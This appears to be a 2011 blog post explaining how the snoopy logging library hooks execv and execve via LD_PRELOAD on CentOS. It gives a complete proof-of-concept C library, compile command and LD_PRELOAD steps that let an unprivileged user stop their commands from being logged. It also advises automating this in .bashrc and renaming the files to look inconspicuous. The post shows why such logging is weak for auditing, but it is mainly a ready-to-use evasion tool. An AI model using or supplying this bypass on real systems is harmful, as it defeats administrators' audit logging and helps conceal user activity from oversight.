snoopy v1.8.0, CentOS 5.5 64-bit x86_64 (Linux kernel 2.6.18)
I came across the snoopy logging program today, which is a way for system administrators to log every single program that is executed on a system. While the authors promote it's use for troubleshooting purposes, some system administrators use it for logging user activity. The snoopy authors advise against this use, because it is easily circumvented. I couldn't find any articles on the internets on how to circumvent it, so I decided it would be fun to dive in and try to figure it out.
It turned out to be fairly easy. Let me start with how you detect if snoopy logging is enabled on a system you use. Logged in as any user, run the command:
ldd `which ls`
On a particular system I use at work, this is how I discovered snoopy was in place. The output on that machine looked like this:
[ryan@buggy ~]# ldd `which ls`
/usr/local/lib/snoopy.so (0x00002af2d1210000)
librt.so.1 => /lib64/librt.so.1 (0x00002af2d1412000)
libacl.so.1 => /lib64/libacl.so.1 (0x00002af2d161b000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00002af2d1822000)
libc.so.6 => /lib64/libc.so.6 (0x00002af2d1a3a000)
libdl.so.2 => /lib64/libdl.so.2 (0x00002af2d1d91000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00002af2d1f96000)
/lib64/ld-linux-x86-64.so.2 (0x00002af2d0ff3000)
libattr.so.1 => /lib64/libattr.so.1 (0x00002af2d21b1000)
libsepol.so.1 => /lib64/libsepol.so.1 (0x00002af2d23b5000)
[ryan@buggy ~]# tail /var/log/secure
Apr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls
Easy to see I'm being spied on. Let's take a look at a bit of the snoopy source to find out how they are doing it:
From snoopy.c in snoopy version 1.8.0
#if defined(RTLD_NEXT)
# define REAL_LIBC RTLD_NEXT
#else
# define REAL_LIBC ((void *) -1L)
#endif
#define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)
int execve(const char *filename, char *const argv[], char *const envp[])
{
static int (*func)(const char *, char **, char **);
FN(func,int,"execve",(const char *, char **const, char **const));
snoopy_log(filename, argv);
return (*func) (filename, (char**) argv, (char **) envp);
}
int execv(const char *filename, char *const argv[])
{
static int (*func)(const char *, char **);
FN(func,int,"execv",(const char *, char **const));
snoopy_log(filename, argv);
return (*func) (filename, (char **) argv);
}
Now that you've seen some code, let me explain what in the world is going on. The snoopy library is preloaded before any other libraries, giving it the opportunity to override the execv(3) and execve(3) system calls with it's own. This means that any time a dynamically-linked program is executed, it will call the snoopy library's version of exec() or execve(). Snoopy simply logs the execution via the snoopy_log() function and then executes the next execv() or execve() in the dynamic library chain, which is most likely the libc version.
Does this add overhead? Maybe. I noticed that in version 1.8.0 of snoopy, there is a log filtering mechanism, which seems to spawn a bash shell to call a filtering script. While I didn't test the performance, one would think that spawning a bash shell on every execv() or execve() call would add some serious overhead on a busy machine. If anyone tests this out, please relay the results back to me.
Let's now look into disabling snoopy (without being root). We'll take advantage of the same thing that snoopy does: we can load a library ahead of all other libraries. By creating a library that implements execv() and execve(), we can ensure that our version of those system calls will be executed before any others. The only thing our execv() and execve() functions do is lookup the memory address of the REAL libc versions of execv() and execve() and call them directly, effectively bypassing snoopy altogether (even though the snoopy lib will still be loaded). It does this by calling dlopen() to get a handle to the libc library, then obtaining a function pointer to the execv and execve symbols in that library.
BEFORE (SNOOPY ENABLED) AFTER (SNOOPY BYPASSED)
DYNAMICALLY LINKED PROGRAM DYNAMICALLY LINKED PROGRAM
(e.g. /bin/ls) (e.g. /bin/ls)
| |
| |
\ / \ /
+----------------------+ +-----------------------+
| snoopy.so | | bypass.so |
| execv() execve() | | execv() execve() |
+---|-------------|----+ +---|--------------|----+
| | +----------+ +----------+
+---|-------------|----+ | |
| | libc.so | | | +-----------------------+ |
| \ / \ / | | | snoopy.so | |
| execv() execve() | | | execv() execve() | |
+----------------------+ | +-----------------------+ |
| |
+----------+ +----------+
+---|--------------|----+
| | libc.so | |
| \ / \ / |
| execv() execve() |
+-----------------------+
This diagram is not 100% accurate, but serves to illustrate how the chain of events occur.
BYPASS PROCEDURE
1. Drop the following into a file named bypass.c:
/*
* Proof of concept to bypass snoopy logging
*
* Many parts of the code came directly from the snoopy source itself.
*
* Ryan A. Chapman
* Wed Apr 13 13:28:10 MDT 2011
*/
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <syslog.h>
#include <string.h>
#include <errno.h>
#if defined(RTLD_NEXT)
# define REAL_LIBC RTLD_NEXT
#else
# define REAL_LIBC ((void *) -1L)
#endif
#define FN(ptr,type,name,args) ptr = (type (*)args)dlsym (REAL_LIBC, name)
#define FN_HANDLE(handle, ptr,type,name,args) ptr = (type (*)args)dlsym (handle, name)
int execve(const char *filename, char *const argv[], char *const envp[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **, char **);
FN_HANDLE(handle,func,int,"execve",(const char *, char **, char **));
return (*func) (filename, (char**) argv, (char **) envp);
}
/* Put the libc version of execv back in place */
int execv(const char *filename, char *const argv[])
{
Dl_info info;
void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
if(handle == NULL)
handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
static int (*func)(const char *, char **);
FN_HANDLE(handle,func,int,"execv",(const char *, char **));
return (*func) (filename, (char **) argv);
}
2. Now compile it with:
gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl
You'll end up with a shared library called bypass.so.
3. Finally, start a bash shell with the bypass.so library loaded:
export LD_PRELOAD=/full/path/to/bypass.so
/bin/bash
Presto! You're commands are no longer being logged in snoppy. If you wanted to automate it, you could put the export and bash commands at the bottom of your .bashrc
Oh, and you may want to rename it from bypass.c and bypass.so to something a little more inconspicuous.
Enjoy!
Technorati Tags:
bypass, circumvent, disable, exploit, get around, snoopy, snoopy logger